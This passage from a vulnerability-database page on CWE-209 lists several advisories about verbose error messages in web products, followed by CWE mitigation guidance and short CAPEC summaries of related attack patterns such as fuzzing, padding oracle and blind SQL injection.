  "details": "An issue was discovered in ExonautWeb in 4C Strategies Exonaut 21.6. There are verbose error messages.",
  "id": "GHSA-gm5j-3328-742c",
  "modified": "2025-08-05T18:30:43Z",
  "published": "2025-08-05T18:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46658"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Jowu73/005ca4f85b27fb272a4e62e373341fa5"
    },
    {
      "type": "WEB",
      "url": "https://www.4cstrategies.com/solutions/exonaut"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GMQ3-PQ82-4MJG

Vulnerability from github – Published: 2025-10-12 03:30 – Updated: 2025-10-12 03:30

Details

HCL Unica Centralized Offer Management is vulnerable to poor unhandled exceptions which exposes sensitive information. An attacker can exploit use this information to exploit known vulnerabilities launch targeted attacks, such as remote code execution or denial of service.

Severity

3.5 (Low)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-31998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-12T03:15:34Z",
    "severity": "LOW"
  },
  "details": "HCL Unica Centralized Offer Management is vulnerable to poor unhandled exceptions which exposes sensitive information.  An attacker can exploit use this information to exploit known vulnerabilities launch targeted attacks, such as remote code execution or denial of service.",
  "id": "GHSA-gmq3-pq82-4mjg",
  "modified": "2025-10-12T03:30:35Z",
  "published": "2025-10-12T03:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31998"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0124422"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GPF9-442R-5M94

Vulnerability from github – Published: 2025-11-20 21:30 – Updated: 2025-11-20 21:30

Details

Debug information disclosure in the SQL error message to in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes non-admin users to acquire information about the software, PHP and database versions currently in use.

Severity

4.3 (Medium)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-52671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-20T20:16:23Z",
    "severity": "MODERATE"
  },
  "details": "Debug information disclosure in the SQL error message to in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes non-admin users to acquire information about the software, PHP and database versions currently in use.",
  "id": "GHSA-gpf9-442r-5m94",
  "modified": "2025-11-20T21:30:32Z",
  "published": "2025-11-20T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52671"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3403450"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GPM5-VV3G-PCJF

Vulnerability from github – Published: 2026-05-14 15:31 – Updated: 2026-05-14 15:31

Details

Vvveb before 1.0.8.3 contains an uncontrolled recursion vulnerability in the admin controller dispatch cycle where Base::init() repeatedly invokes permission() on error handlers, causing infinite recursion until PHP memory limits are exhausted. Attackers can send sustained requests to forbidden admin URLs from a low-privilege account to exhaust PHP memory on all workers and cause denial of service to legitimate traffic.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-41935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-14T15:16:46Z",
    "severity": "HIGH"
  },
  "details": "Vvveb before 1.0.8.3 contains an uncontrolled recursion vulnerability in the admin controller dispatch cycle where Base::init() repeatedly invokes permission() on error handlers, causing infinite recursion until PHP memory limits are exhausted. Attackers can send sustained requests to forbidden admin URLs from a low-privilege account to exhaust PHP memory on all workers and cause denial of service to legitimate traffic.",
  "id": "GHSA-gpm5-vv3g-pcjf",
  "modified": "2026-05-14T15:31:59Z",
  "published": "2026-05-14T15:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/givanz/Vvveb/commit/c766e84b479dcf1bd1f25a44e4b9c9fa450769c8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/givanz/Vvveb/releases/tag/1.0.8.3"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vvveb-uncontrolled-recursion-denial-of-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GPMG-4X4G-MR5R

Vulnerability from github – Published: 2025-08-13 18:47 – Updated: 2025-08-27 14:29

Summary

OMERO.web displays unecessary user information when requesting password reset

Details

Background

If an error occurred when resetting a user's password using the Forgot Password option in OMERO.web, the error message displayed on the Web page can disclose information about the user.

Impact

OMERO.web before 5.29.1

Patches

User should upgrade to 5.29.2 or higher

Workarounds

Disable the Forgot password option in OMERO.web using the omero.web.show_forgot_password configuration property^1.

Thanks to Christopher Youd who reported the issue.

Open an issue in omero-web Email us at security@openmicroscopy.org

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.29.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "omero-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.29.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54791"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-13T18:47:35Z",
    "nvd_published_at": "2025-08-13T14:15:32Z",
    "severity": "MODERATE"
  },
  "details": "### Background\n\nIf an error occurred when resetting a user\u0027s password using the ``Forgot Password`` option in OMERO.web, the error message displayed on the Web page can disclose information about the user.\n\n### Impact\nOMERO.web before 5.29.1\n\n### Patches\nUser should upgrade to 5.29.2 or higher\n\n### Workarounds\nDisable the ``Forgot password`` option in OMERO.web using the ``omero.web.show_forgot_password`` configuration property[^1].\n\nThanks to Christopher Youd who reported the issue.\n\nOpen an issue in [omero-web](https://github.com/ome/omero-web)\nEmail us at [security@openmicroscopy.org](mailto:security@openmicroscopy.org)\n\n[^1]: https://omero.readthedocs.io/en/stable/sysadmins/config.html#omero.web.show_forgot_password",
  "id": "GHSA-gpmg-4x4g-mr5r",
  "modified": "2025-08-27T14:29:25Z",
  "published": "2025-08-13T18:47:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ome/omero-web/security/advisories/GHSA-gpmg-4x4g-mr5r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54791"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ome/omero-web/commit/8aa2789e8f759c73f1517abe9a0abd44e86644ad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ome/omero-web"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OMERO.web displays unecessary user information when requesting password reset"
}

Mitigation MIT-39

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

Mitigation

Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

Mitigation MIT-33

Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Mitigation MIT-40

Implementation Build and Compilation

Strategy: Compilation or Build Hardening

Debugging information should not make its way into a production release.

Mitigation MIT-40

Implementation Build and Compilation

Strategy: Environment Hardening

Debugging information should not make its way into a production release.

Mitigation

System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.

Mitigation

System Configuration

Create default error pages or messages that do not leak any information.

CAPEC-215: Fuzzing for application mapping

An attacker sends random, malformed, or otherwise unexpected messages to a target application and observes the application's log or error messages returned. The attacker does not initially know how a target will respond to individual messages but by attempting a large number of message variants they may find a variant that trigger's desired behavior. In this attack, the purpose of the fuzzing is to observe the application's log and error messages, although fuzzing a target can also sometimes cause the target to enter an unstable state, causing a crash.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-54: Query System for Information

An adversary, aware of an application's location (and possibly authorized to use the application), probes an application's structure and evaluates its robustness by submitting requests and examining responses. Often, this is accomplished by sending variants of expected queries in the hope that these modified queries might return information beyond what the expected set of queries would provide.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.

← Back to the CWE list

CWE-209

Generation of Error Message Containing Sensitive Information

Executive Summary

VULN 1: Arbitrary File Write via storages:update documentRoot Manipulation

Summary

Vulnerable Components

Root Cause

Steps to Reproduce

VULN 2: Error-Based Local File Inclusion via pm:enable Unsanitized requireModule() Call

Overview

Root Cause

Steps to Reproduce Error-Based File Read (Standalone)

Remote code execution

Summary

Details

Root Cause

Impact

Remediation (PR #919)

Resources

Background

Impact

Patches

Workarounds

Mitigation MIT-39

Mitigation

Mitigation MIT-33

Mitigation MIT-40

Mitigation MIT-40

Mitigation

Mitigation

CAPEC-215: Fuzzing for application mapping

CAPEC-463: Padding Oracle Crypto Attack

CAPEC-54: Query System for Information

CAPEC-7: Blind SQL Injection

VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation

VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call